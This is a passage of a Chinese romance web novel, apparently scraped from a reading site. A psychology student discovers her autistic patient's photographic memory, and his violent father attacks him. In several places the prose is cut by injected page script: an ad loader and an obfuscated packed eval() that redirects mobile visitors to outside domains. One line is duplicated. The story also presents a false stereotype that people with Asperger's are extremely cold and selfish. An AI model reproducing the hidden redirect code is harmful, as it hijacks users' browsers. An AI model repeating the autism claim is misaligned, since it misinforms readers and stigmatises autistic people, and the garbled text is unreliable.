她刻意避开脸,或者用手掩住嘴巴假装没打哈欠,但眼眶生理性的涔涔泪水骗不了人,清纯的杏眼水波粼粼,光晕加持,平添一丝娇憨。 看得少年的注意力落不到训练上了。 他不是敏锐的人,但对她格外上心,所以他还留意到,她今天换了外套,内搭穿和昨天一样的,她衣服不多,但每天都换洗,身上总飘逸淡香。 以及,还有一点没逃过他的眼睛—— 她似乎情绪低落,脸上的笑容异常生硬,近些日子学的“人脸表情识别”派上用场 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,如果用纸牌上的词语来形容,那便是“强颜欢笑”。 秋末染懂事地等到下午茶时间,不耽误夏初浅的进度了,他才在纸上写下:【浅浅不开心。】 夏初浅止不住又打一个哈欠,回复:【没有呀。】 秋末染不信:【骗人。因为电脑坏了?】 没错,坏得修不好了,彻彻底底寿终正寝不说,还花了夏初浅好几笔修理费。 一宿未眠,精致的美味小甜点此刻在口中味淡如白粥,她木讷地咀嚼着。 想了想,她希望秋末染把噩梦、医生坠亡事件和他的成长经历如实相告,那么将心比心,她也要对他尽量真诚相待、实话实说。 夏初浅坦白:【嗯,小染,你说对了。】 少年被阳光淬得融暖的眸子闪耀金光,他似乎迫不及待:【收到新电脑会高兴吗?】 学以致用,他在气泡框旁边画一个乐呵呵的emoji。 脸上仍旧是一副静如死水的表情。 夏初浅笑容苦得像灌了十碗中药:【其实,和电脑无关,我丢了电脑里的开题报告、论文大纲、文献资料,还有很多重要的文档……】 疑惑之色漫上秋末染的脸,他不解:【丢了?为什么电脑坏了这些就丢了?】 思及秋末染没接触过电子产品,也许对电脑一窍不通,夏初浅耐心解释:【因为呀,这些存在电脑里,电脑坏了,打不开了,这些就没了。】 没成想,少年更费解了。 中性笔屁股抵着他白皙的脸颊,他皱眉思索,又写:【存在脑子里。】 夏初浅倒是想啊! 可惜她的大脑不是芯片,没那么玄乎其玄的容量。 被秋末染天真的异想天开逗笑了,沉闷的情绪竟奇妙地得到了舒缓,她吃着蔓越莓黄油饼干,支着下巴写:【我做不到,只有机器人才做得到。】 谁知,秋末染看到这行字后走出了卧室。 少时,他揣一个没拆盒的最新款MacBookPro回来,催促夏初浅拆开。 夏初浅稀里糊涂地拆掉盒子,看着秋末染开机,他写字询问怎么建和她昨天一样的“蓝白色框框”,建好文档,他纤长的手指在键盘上不停歇弹奏电子乐章。 题目:《自爱与他爱:自恋、共情与内隐利他的关系》 专业:心理学 姓名:夏初浅 正文:1.立题依据1.1研究背景随着认知心理学、人本主义心理学、生理心理学等学派的逐渐兴起,心理学的研究领域不断拓宽,研究方法和技术…… 洋洋洒洒地,一篇文章仿佛自动生成般呈现在了夏初浅眼前。 自闭症少年,将她五千字的开题报告原原本本地还原了出来! 夏初浅:“……” ……这是什么情况? 饼干捏在手里开始掉渣,夏初浅全然想不起来吃,她目瞪口呆看着秋末染如鱼得水,他的大脑和电脑似乎达到了某种她难以理解的和谐适配。 敲完报告的最后一个字,他自己建了新的文档,继续手指纵横复原了大半篇文献。 她昨天改论文时点开那篇浏览过,而他,就截止到她昨天浏览的那部分。 夏初浅:“……” 如法炮制,他很快便打完了其余几篇。 每一篇都不完整,因为他只看到了这么多。 夏初浅怀疑自己在做梦,揉揉眼睛,再掐掐手臂,屏幕上某个奇人的劳动成果,证明一切为真。 夏初浅:“……” ……这合理吗?这科学吗? ……莫非他真的是个天才? 蓦然,少年身子发软,伏在床上,用力掐人中,他略显倦容,双眼却亮如星子。 夏初浅急忙关心秋末染是不是又要发癫痫了。 少年轻轻摇头,喘口气,他执笔在纸上写:【我不是机器人。浅浅要的,我找回来了,浅浅不要不开心。电脑给浅浅,是气球的回礼。】 13. 礼物 夏初浅足足呆滞了十分钟,心服口服。 “小染,你也太厉害了吧……”她一遍一遍翻看失而复得的开题报告。 虽然出自于她手,但她只有框架和部分段落的记忆,做不到一字不差还原。 只看一遍就过目不忘,没几个人能做到吧? “你是天才!” 夏初浅手里的饼干因为激动不已而捏碎了。 她抽张纸巾擦干净手和地板,对着一脸淡然的少年竖大拇指,语调飞扬:“你知道你是天才吗?之前的治疗师知道你有这么强大的记忆力吗?” 秋末染摇摇头,他眼神透出些许疑问,貌似不明白这有什么值得称赞的。 他一直是被规避的异类,不是被景仰的天才。 夏初浅捂住嘴巴,杏眼兴奋得像发射激光,经此意外,她好似拿拂尘将蒙尘明珠掸净。 她拽拽他的衣袖,嘴巴合不拢:“谢谢你啊,小染,你是我的救命恩人!要不是你,我这几天要熬夜甚至通宵了,现在年轻人猝死的很多不是吗?” 开心到胡言乱语。 秋末染似被夏初浅的亢奋感染,他歪头思忖,而后,面向她举起双手,撑开手掌。 ——“这是庆祝好消息、好结果的一种常见的方式。小染,下次有人对你做这个的动作,你可以试着用你的手掌去拍打对方的手掌,喜悦会传递。” 他不漏一字地记得。 夏初浅微愣,唇边绽开温暖的笑容,她双手拍上去:“耶!我们击掌——” 少年的手掌很大,她的手像小纸船包进大纸船,掌心的纹路是海面涟漪,送旅人归港。 莫名灼热,他被烫到,蓦地收回手。 他垂眸盯着手掌看,收拢十指,似乎想把她柔软温馥的触感留下。 临走前,夏初浅把电脑归还给秋末染,她要开题报告和文献就足够了。 秋末染眉间缀点失望,他问:【浅浅不喜欢这款?浅浅喜欢什么样的?我马上给你。】 “别人送礼物给我,我哪有挑剔的道理?”夏初浅穿好外套,背包起身,“我很喜欢,但我不能收。” “因为太贵重了。小染,你的心意我领了,明天也不要买其他电脑来哦,我都不会收。” 少年双唇微微抿直,貌似不甘心。 他飞速写下:【可我收了浅浅的气球。】 气球一个十块钱,MacBookPro一个大几千上万块,夏初浅暗忖,小少爷对钱实在没有概念,再说,她拿秋家的工资,每天还蹭下午茶吃,不能更过分了。 “好啦,我走了,我们明天见。”话题到此为止,夏初浅的手在秋末染发顶悬空转两圈。 然而那天,夏初浅最终还是收下了电脑。 她被刘世培带去了储藏室,门一开,毫不夸张地说,三摞装着笔记本电脑的盒子一个叠一个地闯入视线,囊括市面上所有品牌的热门机型。 夏初浅张口结舌:“……” 秋末染写纸上的那句“我马上给你”…… 原来真的能“马上”给她啊! 刘世培笑得老谋深算:“夏医生,不知您习惯用哪个牌子的我就让人多选了几款。” 为了给她一个电脑,人家买了一大堆电脑任由她挑,再不给面子的话,她未免太不知好歹了! 于是,夏初浅结结巴巴地应道:“刘管家,我、我就拿刚才小染给的那个吧,那个开封了不能退了……其他的您拿去退货吧,求您了!” “夏医生,您别有心理压力。”夏初浅脸色涨红,头上仿佛有千斤顶压着,看得刘世培忍俊不禁,“少爷这一个多月来的变化有目共睹,我真心感谢您。” “其他方面我帮不上忙,毕业季无论写论文还是投简历,都用得到电脑,您方便一些,就能多分出些精力到少爷身上,我们彼此都好。” 夏初浅明白这是刘世培让她宽心的说辞,并非置她于“拿人家的手短”的境地。 她心生暖意:“嗯,那电脑我就收下啦,我会对小染负责的,您放心。” 刘世培笑笑:“您信得过我的话,把坏掉的电脑带来,我认识通这方面技术的专家。我想您的电脑里应该还有其他东西,能复原总比不能的强。” 夏初浅大喜过望:“太好了!谢谢您!” * 晚上,夏初浅把今日的重大发现整理出一份文字版的文件,发送给了徐庆河。 目前最主流的自闭症的诊断分为自闭症障碍、为特定的广泛性发育障碍和阿斯伯格综合征。 其中,阿斯伯格综合征,民间有“天才病”的叫法,因为部分患者智力超群。 其最主要的表现是对社交关系缺乏理解,缺乏沟通能力,对某种事物存在异乎寻常的兴趣,认知能力没有明显异常,但伴有动作笨拙、攻击性。 以上种种,很符合秋末染的表征。 但是,阿斯们通常极端冷漠与自私,虽然他们善于伪装,但眼神中的漠然麻木会出卖他们,而那个少年双眼清亮如山泉,一言一行尽显体恤。 他很温驯善良。 蛋壳小台灯晕开一圈暖黄光晕,和淡黄色书页几乎融为一体,眼睛有些酸涩,夏初浅合上专业书,闭目养神。 她还无法下定论,目前只能得出,秋末染是高功能自闭症,他智商可能比表现出来的更高。 夏初浅调出秋末染画的迷宫图。 从心理学角度分析,迷宫的复杂程度象征着秋末染内心世界的自闭程度,正相关,这几日她没见他再画过迷宫,她打算过几天让他画一张,对比一下。 再从另一种角度解读,他至少在空间推理能力和想象力方面天赋不俗。 夏初浅觉得自己挖到了宝藏。 藏在幽谧山间、纯净如璞玉的一个宝藏。 此时,有人叩门。 夏初浅望向房门唤道:“请进。” 李小萍端一杯热牛奶进来,笑容可掬:“浅浅,累了吧?喝杯牛奶养养神。等下,早点关灯早点休息,别熬太晚了!女孩子家家的,熬夜对身体、对皮肤都不好。” 夏初浅咕咚咕咚喝两口牛奶,舔舔嘴唇,展开笑容问道:“李阿姨,我还没来得及问你呢,花卉展怎么样呀?有没有去G市其他地方逛一逛?” “害!别提了!人山人海人挤人的!”李小萍在床沿一坐,翘起二郎腿,“不过国际展会就是不一样,好多花草的品种啊,插花手艺啊,创意设计啊,见都没见过,我和你周芳阿姨就是两个土老帽,看啥都新奇!噢,还有小姑娘小伙子穿那种动画片里花花绿绿的衣服表演……” “Cosplay。”夏初浅笑着抿牛奶。 “对对对!我们浅浅就是聪明!”李小萍点点手指,对夏初浅从不吝惜夸奖。 她拿出一个手掌大的礼物盒,拉过夏初浅的手,把盒子放在夏初浅手心:“小吊坠,阿姨看着很适合你就买了,也不知道合不合你的眼。” 盒子带着原生态质感,里面嵌一个小蜜蜂吊坠,小巧可爱。 “谢谢李阿姨,我很喜欢!”夏初浅把坠子比在脖子上给李小萍展示,甜美的笑容潜藏了些许惆怅。 她说喜欢是真,说不出想搬去学校宿舍的话也是真。 李小萍赞不绝口,目光忽然被夏初浅身后桌面上的笔记本电脑吸引,不识货的人也看得出,夏初浅换了新电脑,而且这个电脑不便宜。 “浅浅,买新电脑啦?” 夏初浅下意识挪了下身子,挡住背后的电脑:“嗯,阿童的那台彻底报废了。我大四了嘛,各种作业、论文一个接一个的,不买台新的不行。” “你自己的钱?” “……嗯。” 斟酌一下,夏初浅说了谎。 要是被李小萍知道电脑是某个巨有钱的小少爷送的,故意会惶恐还会寒心。 她编了个借口:“我分期付款买的,每期还几百不算太多。我现在实习了,能赚点钱,还的清的。” “分期付款?不会是不靠谱的校园贷吧?” “不是的,是正规平台。” “那行,阿姨怕你被骗了。”李小萍剥指甲,视线仍时不时穿过夏初浅投向那台电脑,咕哝道,“真是的,你想买电脑你跟阿姨讲呀!阿姨勒紧裤腰带也给你买。” 夏初浅抿嘴笑笑,喝光了牛奶。 搬走的话她是半个字都讲不出口了。 * 国庆过后,夏初浅顺利提交了开题报告。 新电脑无论是性能配置还是使用体验,都远超旧电脑一大截,体积小又轻便,随身携带很方便。 多亏了刘世培,旧电脑中存储的那些文件资料也复原了,这段小插曲对夏初浅唯一的影响,就是董童对她冷暴力。 他在李小萍面前都懒得装,不给一点好脸色。 急得李小萍逮着机会就问夏初浅,两人是不是在她去G市的几天吵架了?怎么还没和好? 夏初浅如实相告,她没有奢望李小萍站她这一边去指责董童,那是李小萍万般纵溺的宝贝儿子。 果然,李小萍对董童一句严厉的话都没说,她给夏初浅买了新U盘和新笔筒,拉着夏初浅的胳膊诉苦,还是老一套说辞,说董童是个不幸的孩子,他多可怜多不容易,他肯定心里知道自己错了但是不好意思表达出来,再说,男孩子都粗心些,让夏初浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13900020|147204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多包容包容。 夏初浅最终应了句好。 不说好,李小萍会声泪俱下,她最怕这样的场景。 * “小染,你画一个迷宫给我好不好?” 秋家,心理治疗有条不紊地进行着。 秋末染点点头,翻开失宠了的绘图本,握一支铅笔,沙沙的摩擦声在空档的房间悠悠荡开。 他画完,夏初浅拿着和之前的对比了许久。 差异微乎其微,横平竖直的线条构成曲折杂芜的图案,有种单调的诡谲感,彷如关押弥诺陶洛斯的古怪房子,能听到被困者横冲直撞的呐喊。 她不免有点悒悒,还以为他的画会简单一些。 看着夏初浅眉毛微微向下压,也没有夸奖他画得好,秋末染默默思考了一会儿,用笔勾画出路径,他以为她在为找不到出路而暗自苦恼。 夏初浅确实也找不出路线,她手托下巴,眼睛顺着秋末染的标注走了一遍,又尝试自己画一个。 很快,她发现,并不像她想象中那么容易布局,且迷宫越复杂,越容易忘记原本设计好的通路在哪里。 正绞尽脑汁呢,少年在她的纸上画了个小小的“X”,意为这个迷宫有Bug。 他眸子清亮诚恳,那颗泪痣像清潭边的观景石,让人情不自禁想在此歇脚。 夏初浅略微发怔:“……” 静音模式的手机亮起一瞬,是徐庆河的消息。 “小染,我出去一下,很快回来。”夏初浅起身走出卧室,站在走廊的窗台前给徐庆河打电话。 做治疗时,夏初浅不看手机,但她现在亟需徐庆河的支援。 徐庆河近些日子去外地出差,她一直没等到他的回复,打电话也无人接听,每天苦苦等待着。 “喂,小夏。” 电话接通,徐庆河醇厚的声线传来。 夏初浅连忙把近期的新发现汇报给徐庆河:“……徐教授,目前的情况就是这样的。嗯……对,秋末染记忆力惊人,学习和模仿能力很强,他可能比我对他认知的更聪明……对,我就是想请教这个,我设计的干预方案不适合他用了,请问徐教授,我应该怎么调整?” 她在描述少年闪光时刻时语气难掩兴奋。 徐庆河道:“小夏,你做得很好。这才一个多月的时间,秋末染进步相当大了,你继续和他建立信任,后续,帮他锻炼精细化动手能力,再带他出去走一走。” “这……” “我知道,这很难。自闭症患者本就排斥人群,讨厌嘈杂热闹的环境,你先试着带他去人少安静的地方,比如公园、湖边,让他慢慢适应,咱们一步一个脚印来。” “嗯,我知道了。” “那语言方面呢?他有开口吗?” 这个问题让夏初浅内心的小烟花熄灭一半,她背靠上两扇窗户间的漆染墙壁,小声喃喃:“还没有……” “不着急,小夏。”徐庆河低声笑笑,鼓励道,“秋末染的失语由心理因素造成,急不得。你这边给予他适当的引导就好,不要催他也不要给他施加压力,一切顺其自然。” “好,我知道了,徐教授再见。” 挂断电话,夏初浅捂住胸口长长吐一口气。 她没有问徐庆河七年前的事,在她心里,那个每天都把指甲修剪得光秃秃的少年和“杀人”不沾边,现在新的方向已然明确,她只需和他共同努力。 忽而,楼梯口响起脚步声。 听似皮鞋踩地之音,频率较慢,并非老态龙钟的弛缓,是不疾不徐的王者风范。 每一步,都铿锵有力。 夏初浅被吸引望去,彼时,她先看到一双修长健硕的腿从三楼稳健下来。 过膝的黑色风衣如暗夜兜网,捕获出没的猎物,猛兽气质的男人踩下最后一个台阶。 咔哒一声,黑色孟克鞋落地。 他缄默伫立,眸色阴冷狠厉。 在所有人无知无觉中骤然天降。 他一人自内而外迸发出的震骇让人幻视被如嚼骨嗜血的悍狼群包围,跟他对视,随时会被咬穿喉咙,皮肉剥离,他是撒旦钟爱的作品。 须臾之间,夏初浅通身颤栗! “噔——” “噔——” “噔——” 他迈步向她逼近,脚下仿佛踩着血海尸山。 夏初浅抖如筛糠,牙齿上下打架,短暂的魂飞魄散后,她不顾一切地冲向秋末染的卧室,一把关上门,用娇小的身子死死护住门把手。 外面的人进不去,里面的人出不来。 她笑得比哭还难看:“秋、秋先生,您、您、您好!” 14. 悍狼 “让开。” 磁性十足的男低音,透出不容抗辩的霸气。 秋许明棱角分明,锐利的剑眉压一双幽深如吃人洞穴的眼。 午时秋阳被男人严严实实吞掉,落在她面前的只有一片男人轮廓的阴影。 他肩宽健壮,一米九四的身高如一座大山不可撼动,居高临下压得夏初浅喘不上气。 “秋、秋先生,我想……我……我想我们可、可以先聊一下?”夏初浅后腰抵着门把手,硌得骨头生疼,舌头像打了一剂麻醉针似的僵麻迟钝,“我是、是新来的心理治疗师,之前我……我第一次见您,很、很荣幸!” 被恐惧笼罩,思维瓦解云散。 但有个念头支撑着她,她不想再看见遍体鳞伤的少年。 “让开。” 同样两个字,口气更瘆人了。 秋许明的目光不在夏初浅脸上停留,他平视面前的那扇门,眼底云霭翻滚,令人不寒而栗。 夏初浅自知螳臂当车,但她没想过让开。 她双手伸向后面,抓住门把手不让秋许明碰。 通红的杏眼含泪瞪着,她固执坚守,赌秋许明不打柔弱的女人。 可门后的少年似乎听到了动静,一串莽撞的脚步声,门把手从里面被人急迫地往下压! “……啊!不行啊小染!你不能出来!”夏初浅用尽力气往上顶门把手,尖叫声听起来甚是凄厉,“快点回去!千万别出来!快点回去啊!” 她不知哪里爆发出的蛮力,两股力量竟僵持不下。 秋许明钳子似的手也握上门把,与夏初浅的施力方向相反,他不动声色下压。 “啊!不行!”夏初浅悲鸣。 她快撑不住了。 门被秋末染拍得啪啪作响,他发不出声音,拍打声似瓢泼大雨愈来愈急躁。 他不知道父亲会不会将拳头挥在夏初浅身上,像折断花枝一样折断她。 打他就够了,不能打她! 夏初浅终是个力量有限的女孩子,很快,她力不能支,门被一道力量冲开! 惊得满头大汗的少年喘着气站在门口,静水般的眼眸此刻波涛汹涌,第一反应便是查看夏初浅是否无恙。 还没来得及将她看清,沙包大的拳头砸上了他的脸! 秋许明要打秋末染,秋末染是无论如何都逃不掉的。 “啊!!!” 随着夏初浅的一声惊叫,少年应声倒地,脑袋磕在了门上。 撞击让秋末染眼前短暂失焦,世界像罩上一层毛玻璃,他胸口起起伏伏,呼吸还没捋顺,就被秋许明像拎小鸡一样揪着衣领揪起来,又一拳重重落下。 他摔出去好远。 朝屋内摔的,乳白色羊绒小地毯也飞了好远。 刘世培带着三个保镖闻声赶来。 三个保镖还近不了秋许明的身就被秋许明撂翻在地,一个一个四仰八叉的,翻身起来,再次试图制止秋许明,结果又被秋许明轻松打趴。 三人一起上,也被秋许明挣开,一拳一个,顶腹勾踢一个,掐喉绊摔一个,身材壮硕的三人不是对手,倒在地上,像三头战败的棕熊。 人挡杀人佛挡杀佛,秋许明是狂躁的疯狼。 “秋先生!别打了!”刘世培在旁干着急。 别说上前阻止了,保镖摔倒的余波都震得他脚下虚浮! 老人素来儒雅得体,此刻两只手在空中乱比划,苍老的声音哑得像擦树皮:“秋先生!请您冷静啊!别打了!” 夏初浅更是吓得六神无主。 如此暴虐的场面,她只在电影里看过。 双脚被钉死在原地,动弹不了分毫,她心跳如鼓,耳膜胀痛,全身的血液快要凝结。 解决掉挡路的人,秋许明身体微微前倾垂着头,他深深闭眼,粗重的呼吸颤抖,拳头攥得骨节森白,像在宣泄,又像在努力克制什么…… 再一次抬起头,他眼神寒得刺骨。 众人大气都不敢喘,皮鞋落地的声音尤为响亮,一下一下,悍狼靠近受伤的少年。 秋末染跪坐在地上,双手撑着佝偻的身子艰难喘息。 嘴角的血水混着脸上的汗水染花他的脸庞,拖鞋早甩飞了,他赤着脚,无助又狼狈。 他看起来不堪一击。 白净的少年,被咬成了残破的娃娃。 而杀疯了的秋许明没打算就此停手,他举高拳头,又一记铁拳来势汹汹! 秋末染无力抵抗,静候疼痛来袭。 可预想中的疼痛没有到来,模糊的视线中,一个小小的人影倏地闪过,挡在他前面! 秋许明一怔,惶遽收力。 挥出的拳头覆水难收,打弯女孩纤细的身板。 下一秒,夏初浅痛到变形的脸占据了秋末染全部的视线。 那一刻,少年的世界地动山摇。 “……呜!” 夏初浅闷哼,耳鸣踏至。 闷痛从背部蔓延至五脏六腑,逐渐丧失的意识带走了她对身体的控制。 腿一软,她倒下去,跌入一个不算结实的怀抱。 昏死前,她听见一道陌生的声音唤:“浅浅!” 干哑滞涩的少年音,因为惊恐而稍显破裂。 * 火红夕阳揉进云朵里,红霞碎开,轻风抚动洁白的帘角,病房针落可闻。 在消毒水味的浸泡下,夏初浅惊醒。 头脑昏沉,喉咙干渴,背部被打的那一块挨着床垫,痛得她想翻个身,谢天谢地秋许明在最后关头泄了八成力,不然她得在床上瘫三天三夜。 身边忽然传来椅子挪动的声响,她这才发现房间里还有别人。 她转过头,对上一张清秀漂亮的脸。 少年的表情和平时一样清淡,双眼一如以往明亮澄澈,眼角却明显下垂,在看到醒来的她时,他鸦羽似的睫毛震颤,眸底涌动着庆幸和后怕。 “小染……” 她用发酸的声音唤他的名字。 他用力点点头,脸凑近她的脸颊。 在她的视线盲区他缩了缩衣袖,藏起手臂白花花的绷带,和破皮浮肿的右手指节。 “你怎么样了?怎么坐在这里不去休息呀?”夏初浅从头到脚扫视秋末染,她穿便衣,而他穿蓝白相间的病号服,左手还打着点滴,显然,他比她伤得重。 少年脸颊红肿,嘴角结了血痂。 夏初浅想起秋许明挥下的那能碎石的拳头,她体验过一次,超级痛,到此刻她体内还钝痛着,被打了好几拳的秋末染怎么能在这里坐着? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13931855|147204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“快回去躺下休息!你需要静养。” 她刻意语气重了些,催促他回病房。 他摇头表示不肯,脚踩上椅子腿的横杆,双臂搁在双膝上,平日里他最娴熟的这个“拥抱自己”的动作,此刻因为紧绷太久的肌肉而失误了。 弯腰的时候他重心不稳,往前倾倒了一下,撑住床沿才重新稳住身体,然后,他下巴抵着手臂,第一次没听她的话,眉目间有一种执拗,就要守着她。 “小心一点啦!”夏初浅无可奈何。 想了想,如果伤势很重,医生也不会放任他自虐,他能坐在这里就说明具备坐在这里的身体条件。 “我没事的,应该等下就能出院。”她翘唇笑笑,笑容依然温暖无戒备,抬手做出揉他头发的动作,“倒是你,又一身伤,喝多少燕窝才能养……” 话音未落,少年抓住了她的手。 指尖冰凉,皮肤浸一层薄汗,力度拿捏得刚刚好。 他拉着她的手举过自己的头顶,然后,缓缓放下。 双瞳剪水,他神色平和中透出些微的讨好,还握着她的手背左右摩擦,愿用绒绒头发做她的温床。 股股暖流涌入夏初浅的心房,莫名,还捎带一缕酸涩,眼角很快积蓄起一汪泪水,她用指腹揩去,嗔怒道:“哼,终于让我碰一碰你了!” 少年低头不动,仍由她抚摸。 看着他格外乖顺,夏初浅知道,这是他担惊的表现。 和普通人一样,遇到朋友被自己牵连了,会自责,会不安,具备共情能力和同理心是件好事,于患有自闭症的他而言更是,而她要做的,就是给足他安全感。 她慢慢从床上坐起来,活动了一下筋骨,朝他伸开双臂,挑眉噙着笑问:“小染,我这个要求可能有点过分,但是……我可以抱抱你吗?” 少年仰起头,眼神微滞。 没有迟疑,他重重点头。 夏初浅唇畔的笑意如同涟漪一圈圈地漾开,她张开怀抱,将秋末染轻轻拥住。 拥抱来的很轻很克制,不沾染任何非分之想,只是一个人在安慰她的朋友。 而少年乖乖被抱着,没有回以拥抱,他的理解“我抱抱你”就是被夏初浅抱抱,是单向的,不是双向的,双手扣着床单,被他紧紧压在床上。 他太久没感受过怀抱的温暖了。 自从母亲死后,再也没有人抱过他。 淡雅的自然香气飘进他的鼻腔,他倏地有些恍惚,偷偷地,用脸颊蹭了蹭她的衣服。 舍不得离开。 那时的少年不懂,这叫作贪恋。 可有人告诉过他,“拥抱”除了安慰还有其他的含义:离别前,两个人手臂环绕彼此,胸贴胸,像两个圆弧接轨,拼成了一个代表结尾的句号。 这不好,可能意味着就见不到了。 如此一想,少年双手不禁攥紧了床单。 夏初浅抓抓秋末染的头发,不太确定地问他:“小染,我那会儿好像听到你说话了?是吗?是真的,还是我太想听到你说话所以幻听了?” 病房里寂静片时。 和方才许久没说过话的那种干涩的嗓音不同,清润好听的声音在夏初浅怀中响起。 像钟乳石滴水断断续续:“浅浅,以后,还会来,吗?” 15. 说话 少年坐直身子,低头凝视夏初浅。 不是幻听。 她是开启他语言功能的开关。 他没有一丝多余的表情,是一张未着点墨的白纸,光凭看着无法猜测他内心的想法,唯有一双眼睛是与外界联通的窗口,此刻埋藏不安。 夏初浅双手支在身后,半后仰看着秋末染。 他似乎忘记了呼吸,胸口死寂,像在等待她的审判。 歪歪头,夏初浅展颜一笑:“当然会来!我会陪着你,直到你好起来。小染,你爸爸是个十足的大魔王,百闻不如一见,让人远远看了都要怕得抖三抖。” “不瞒你说,我确实害怕你爸爸,但这不是我放弃的理由。你在进步,你在变好,你在努力,而我看到你的变化收获了满满的成就感,我还……” 她眉目似水温柔,却满含滴水穿石般的魄力和决心。 她笑道:“我还收获了你这位朋友。我来秋家的目的是你,让我放弃的理由也只能是你。小染,这里不是我的终点,我不会在这里停下来,这里更不该是你的终点。心理疗愈是一场漫长的马拉松,我做不了全程陪跑,但至少要在补给点给你递水,陪你好好跑完这个短程。” 说了一大段,不晓得他听懂了没? 少年呆愣少时,似在吸收:“……” 忽地,他的黑曜石瞳孔扩大,倒映出她素净姣丽的面庞,眸子熠熠生光。 床单被他抓出树皮似的褶皱,他使劲点头。 “嗯?还点头摇头呢?”夏初浅撅起嘴巴表不满,转而,又笑容相迎,“语言的开关好不容易才打开,你别给关上啊!以后都用说话的方式来表达,好吗?” 秋末染捣捣脑袋。 倏尔反应过来,他喉结上下滚动,发声有点艰难。 片刻,温净的少年音从他绯薄的唇徐徐溢出:“好。” * 天黑前,夏初浅办理了出院手续。 她做了身体检查,除了后背有点淤青之外,没有大问题,晕倒是由于惊吓过度导致的。 刘世培恳请她住院疗养三天,医疗费、看护费、伙食费由秋家来支付,她婉拒了。 她不回家,李小萍会打电话来问,看眼手机,李小萍的消息已经哗哗来袭了。 权衡之下,她决定赶紧回去。 临出病房前,钟渊一身笔挺西装推门而入。 夏初浅对钟渊都有些PTSD了,每次见面都被他一顿批评,冷脸配刀子嘴,谁见谁崩溃。 而这次,钟渊只是漫不经心地斜睨夏初浅一眼,绕过她走向了秋末染,插兜站立:“她办理出院了,很快就走,你能乖乖卧床休息了吧?” 这间病房是套间,内饰豪华不输五星级宾馆。 刘世培代答:“钟医生,我会照顾好少爷的,您不用担心。我想今晚少爷还是住院观察观察比较保险。我在这里陪夜,劳烦您安排一下。” 钟渊望向夏初浅刚躺过的床:“好,我让人过来换床单被褥。末染平时吃的药我配好了,他晚上还有一瓶点滴,到时间我过来给他扎针。” 钟渊望向夏初浅刚躺过的床:“好,我让人过来换床单被褥。末染平时吃的药我配好了,他晚上还有一瓶点滴,到时间我过来给他扎针。” 清醒着的小少爷不让陌生人碰。 “小染,我走啦。”夏初浅穿好外套,背上帆布包,眉眼弯弯冲着秋末染挥挥手。刘世培非常贴心,还特地派人把她的包和外套送来病房。 她又跟刘世培和钟渊说再见,拉开病房门,身后传来轮子嘎吱嘎吱的响动。 回头看,是少年朝她追了几步。 眉头似有若无地蹙起,一双黑亮的眼睛似在等她想起。 他手上还打着吊瓶,透明液体荡起波浪,金属输液架被拽着挪了几分米。 “打吊瓶不能乱跑,手更不能乱动!”夏初浅三步并作两步走到秋末染面前,蹲下来查看他的手有没有鼓针。 血管没有肿胀的迹象,她驰然下来。 “拔了针记得拿热毛巾敷一下。”叮嘱完,夏初浅站起来,问,“小染,你追过来,是有什么话要跟我说吗?” 秋末染轻轻点头。 他喉结微微耸动似在酝酿,俄而,轻声说出了今天没收到的那句约定:“明天,见。” 夏初浅每天都说,今天忘了。 少年认真的眼神带着企盼的光芒,夜色将近,他习惯了她每天临别时的许诺让夜稀释漫长。 夏初浅心似有绒毛拂过,痒呼呼的。 她声音里都是笑意:“嗯!小染,你有空了就多练习说话,我们明——天——见!” * 夏初浅走后不久,钟渊也离开了。 不似普通医院冷森森的白,这偌大的病房装修得气派典雅,装饰布置更贴近令人惬意放松的酒店客房,暖色调的氛围温馨得仿佛能将病魔隔绝在外。 可没多久,秋末染忽觉后背僵冷。 能分散他注意力的人不在这里了,陌生的空间隐隐约约开始歪曲浮动,像隔着一簇火焰在看。 他双目渐空,唇色泛白。 “少爷?” 刘世培熟悉的声音稍稍将秋末染拉回现实,肩头被人安抚似的轻捏轻拍:“您怎么了?不舒服吗?” 少年拔掉了左手的针头:“回家,现在。” 刘世培拦不住,只能眼疾手快压住针头处,耐心劝道:“今天不能回去,要住院观察。今天不回去,只用住两天医院,今天若是回去了,再住就是一星期或更久。” 秋末染用仅剩不多的理智沉思,自然前者划算。 耳内噪声和目眩纷至沓来。 在陷入恐慌之前,他挣开刘世培的手,跌跌撞撞走向病房的一处墙角,后背紧贴冰冷墙壁蹲下。 他屈膝,双手箍住两只脚踝,额头抵上膝盖。 这个最让他有安全感的姿势逐渐缓解了内心不可名状的焦虑,但这里毕竟不是他的小天地,他还是闯入异星的外来者,呼吸仍然紧得难受。 他突然想起来什么,仰起脸,润润喉咙,看着刘世培艰难地唤了声:“刘叔。” “少爷,怎么了?” 少年轻轻摇头,水影幢幢的眸子涤荡柔和的微波。 被刘世培照顾十年,他还是头一次不用笔写,而是用嘴巴叫出这个称呼。 他又叫一遍:“刘叔。” 领悟了的刘世培眼圈瞬间通红,他笑着用掌根揉擦眼眶,颤抖的声线更显此刻来之不易。 他又应一遍:“哎,少爷。” * 夏初浅穿过长廊,发现这家医院与众不同。 这一层是住院部,装潢风格富丽堂皇,海量占地面积竟然只有两间病房,有位穿护士服、戴护士帽的小姐姐在值班,颜值身材堪比明星。 